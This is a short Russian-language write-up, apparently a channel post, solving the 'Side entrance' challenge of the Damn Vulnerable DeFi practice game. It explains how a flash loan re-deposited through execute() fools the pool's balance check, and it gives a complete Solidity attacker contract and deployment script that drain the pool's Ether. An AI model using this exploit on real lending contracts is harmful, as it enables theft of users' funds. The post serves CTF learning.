Damn Vulnerable Defi. Задача 4. Side entrance
В чем суть?
Нужно вывести весь Эфир с пула.
В этой задаче функция flashloan() по итогу просто проверяет баланс контракта, на предмет вернулся ли займ обратно. Также есть execute() функция, которая и должна отвечать за возврат займа в нашем контракте.
Чтобы взломать этот пул нам достаточно взять займ и в функции execute() в нашем контракте вызвать функцию deposit() пул контракта. Поняли схему?
Мы берем займ и закидываем его сразу себе на счет. Баланс контракта пополняется на сумму займа, и flashloan(), со своей проверкой баланса, думает что все ок и займ вернулся. После чего мы может просто вызвать функцию withdraw() и забрать все деньги.
Просто контракт может выглядеть так:
contract Attacker4 {
SideEntranceLenderPool pool;
address payable attacker;
constructor (address poolAdd, address attackerAdd) {
pool = SideEntranceLenderPool(poolAdd);
attacker = payable(attackerAdd);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
}
function execute() external payable{
pool.deposit{value: msg.value}();
}
receive () external payable {
attacker.transfer(msg.value);
}
}
И решение:
const SideEntranceAttackerFactory = await ethers.getContractFactory('Attacker4', deployer);
const attackerContract = await SideEntranceAttackerFactory.deploy(this.pool.address, attacker.address);
await attackerContract.connect(attacker).attack(ETHER_IN_POOL);
Проверяем через yarn run side-entrance.
#dvd #DamnVulnerableDefi
Post #443
171